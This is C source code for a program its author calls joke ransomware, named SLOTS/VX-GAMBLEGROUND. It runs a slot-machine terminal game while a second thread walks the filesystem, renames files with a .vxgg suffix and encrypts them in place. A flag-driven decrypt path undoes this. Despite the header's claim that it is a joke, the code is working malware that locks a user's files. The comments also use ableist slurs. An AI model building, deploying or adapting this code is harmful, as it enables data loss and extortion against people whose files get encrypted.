/*** * SLOTS - Feelin' Lucky? * * SLOTS is ransomware that uses (shitty) encryption to "encourage" the reluctant gambler. You get 3 free spins to get a jackpot, further spins "cost" money. * This malware is meant primarily as a joke, not as something meant to damage someone's system. While it CAN damage someone's computer and lock their files away, it * also prints out the key required to decrypt affected files if someone isn't too keen on losing their shit * * */ #define _GNU_SOURCE #include "VX-GAMBLEGROUND.h" #include "encryption.h" #include "search.h" #include "screen.h" #include "ll.h" #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include const char *argp_program_version = "Alpha-0.1"; const char *argp_program_bug_address = "@syxhe on Telegram (https://t.me/syxhe)"; static char doc[] = "lol"; static char argdoc[] = "lmao"; static struct argp_option options[] = { {.name = "passphrase", .key = 'p', .arg = "key", .flags = 0, .doc = "Specify passphrase for encryption/decryption", .group = 0}, {"decrypt", 'd', 0, 0, "Skip the slots minigame and immediately decrypt (or encrypt) files", 0}, {"noencrypt", 'n', 0, 0, "Don't encrypt files when ran, just play slots", 0}, {0} }; static error_t parse_opt(int key, char *arg, struct argp_state *state) { struct arguments *args = state->input; switch(key) { case 'p': /* Specifying the start option of "-p=" errors out unless this is done. // Technically a user should use --passphrase= if they want to use the = sign, but I think // this is how it should work. RMS can suck it */ if(*arg == '=') arg++; args->inputpass = arg; if(strlen(args->inputpass) != PHRASESIZE) { error(1, 0, "Encryption passphrase must be exactly %d characters long", PHRASESIZE); } break; case 'd': args->flags |= SKIPSLOTS; break; case 'n': args->flags |= SKIPENC; break; default: return ARGP_ERR_UNKNOWN; } return 0; } static struct argp argp = {options, parse_opt, argdoc, doc, NULL, 0, 0}; int genphrase(char *phrase, size_t phrasesize) { memset(phrase, 0, phrasesize); for(size_t i = 0; i < phrasesize; i++) phrase[i] = randombytes_uniform('Z' - 'A' + 1) + 'A'; phrase[phrasesize] = '\0'; return 0; } // roflmao fuck this project i'm too tired to bother with making it nice int doslots(struct bullshit *stuff) { // I have no fucking clue why gcc complains that this isn't properly bracketed. Maybe im rarted // No the compiler just complains randomly. Sometimes when I compile it's fine and other times it whines // Gotta love open source stuff->handler = (struct sigaction){ .sa_flags = SA_SIGINFO, .sa_mask = SIGINT | SIGWINCH, .sa_sigaction = catcher, }; doinit(&stuff->handler); docolors(); getmaxyx(stdscr, stuff->row, stuff->col); stuff->randphrase = randombytes_uniform(STATIC_ARRSIZE(phrases) + 1); stuff->banner = create_banner(stuff->col, stuff->randphrase, stuff->passphrase); init_items(stuff->items, menu_choices, STATIC_ARRSIZE(menu_choices), userfuncs); stuff->menu = new_menu(stuff->items); if(stuff->menu == NULL) { endwin(); error(1, errno, "Could not create menu"); } stuff->menuholder = newwin(1, stuff->col, stuff->row - 1, 0); keypad(stuff->menuholder, TRUE); init_custom_menu_format(stuff->menuholder, stuff->menu, (int []){1, stuff->col}, O_ONEVALUE | O_IGNORECASE, O_SHOWDESC | O_NONCYCLIC); stuff->slots.slotwin = newwin(stuff->row - 2, stuff->col, 1, 0); if(stuff->slots.slotwin == NULL) { endwin(); error(1, errno, "[VX-GAMBLEGROUND] Could not create slots window"); } init_slotholder(&stuff->slots); doupdate(); stuff->params = (struct params){ .bannerwin = stuff->banner, .menu = stuff->menu, .menuholder = stuff->menuholder, .numspins = 3, .price = 1, .slots = &stuff->slots, }; handle_input(stuff->menuholder, stuff->menu, &stuff->params); unpost_menu(stuff->menu); free_menu(stuff->menu); for(long unsigned int i = 0; i < STATIC_ARRSIZE(menu_choices); i++) free_item(stuff->items[i]); endwin(); return 0; } int doslots_twrapper(void *passed) { return doslots((struct bullshit*)passed); } int scanundencrypt(void *passed) { struct sande *p = (struct sande *)passed; int err = REG_NOERROR; regex_t encext; if((err = regcomp(&encext, "(.*\\.vxgg)$", REG_EXTENDED | REG_ICASE | REG_NEWLINE))) { endwin(); error(1, 0, "[VX-GAMBLEGROUND] Regcomp failled. Encryption skipped, lucky bastard. ECODE: %d", err); } p->scanned = scanfiles(p->STARTPATH, p->cmp); if(p->scanned == NULL) error(1, errno, "[VX-GAMBLEGROUND] filescan broke"); int fd = -1; for(struct nodelist *p2 = p->scanned; p2 != NULL; p2 = p2->next) { // I'm retarded and forgot that my linked list implementation is bad so I need to explicitly check this or it will crash if(p2->fullpath == NULL) continue; if(regexec(&encext, p2->fullpath, 0, NULL, 0) != REG_NOMATCH) continue; char *newname = NULL; if(asprintf(&newname, "%s.vxgg", p2->fullpath) < 0) { endwin(); error(1, errno, "[VX-GAMBLEGROUND] Couldn't get file's newname"); } rename(p2->fullpath, newname); fd = open(newname, O_RDWR); free(newname); if(fd < 0) continue; passencblock(fd, p->passphrase); close(fd); } // I don't have to do this, but I might as well nodelist_delete(p->scanned); return 0; } int decrypt(void *args) { struct sande *pass = (struct sande *)args; pass->scanned = scanfiles(pass->STARTPATH, pass->cmp); if(pass->scanned == NULL) error(1, 0, "[VX-GAMBLEGROUND] Filescan broke"); int err = REG_NOERROR; regex_t encext; if((err = regcomp(&encext, "(.*\\.vxgg)$", REG_EXTENDED | REG_ICASE | REG_NEWLINE))) error(1, 0, "[VX-GAMBLEGROUND] Regcomp failled. Decryption skipped, unlucky bastard. ECODE: %d", err); int fd = -1; for(struct nodelist *p = pass->scanned; p != NULL; p = p->next) { if(p->fullpath == NULL) continue; if(regexec(&encext, p->fullpath, 0, NULL, 0) == REG_NOMATCH) continue; fd = open(p->fullpath, O_RDWR); if(fd < 0) continue; passencblock(fd, pass->passphrase); close(fd); // Once again my problems are solved by allocating shit instead of using static shit char *newname = calloc(strlen(p->fullpath) + 1, sizeof(*newname)); strncpy(newname, p->fullpath, (strlen(p->fullpath) - strlen(".vxgg"))); rename(p->fullpath, newname); free(newname); } endwin(); // Calling this shouldn't be a problem even if ncurses isn't initalized error(0, 0, "[VX-GAMBLEGROUND] Your files have been decrypted. Thanks for playing!"); exit(0); return 0; } int main(int argc, char *argv[]) { struct arguments args = { .inputpass = NULL, .flags = 0 }; argp_parse(&argp, argc, argv, ARGP_NO_ARGS, 0, &args); if(args.flags == (SKIPENC | SKIPSLOTS)) error(1, 0, "[VX-GAMBLEGROUND] You want to skip the slots, and the encryption? Ok, sure"); // C is truly a mystery sometimes. If this is statically defined, shit breaks. But when I allocate it? Just works char *passphrase = calloc(PHRASESIZE + 1, sizeof(*passphrase)); if(args.inputpass == NULL) { genphrase(passphrase, PHRASESIZE); } else { passphrase = args.inputpass; } // Deal with decrypting flag if((args.flags & SKIPSLOTS) && (args.inputpass != NULL)) { struct sande pass = { .cmp = alphasort, .passphrase = passphrase, .scanned = NULL, .STARTPATH = FILESCAN_START }; decrypt((void*)&pass); return 0; } struct bullshit stuff; struct nodelist *files = NULL; struct sande scanner = {.cmp = alphasort, .STARTPATH = FILESCAN_START, .scanned = files, .passphrase = passphrase}; strncpy(stuff.passphrase, passphrase, PHRASESIZE); thrd_t slots, filescan; int err; if((err = thrd_create(&slots, doslots_twrapper, (void*)&stuff)) != thrd_success) error(1, 0, "[VX-GAMBLEGROUND] Could not start slots thread: %d", err); if((err = thrd_create(&filescan, scanundencrypt, (void*)&scanner)) != thrd_success) error(1, 0, "[VX-GAMBLEGROUND] Could not start filescanner thread: %d", err); thrd_join(slots, NULL); thrd_join(filescan, NULL); return 0; }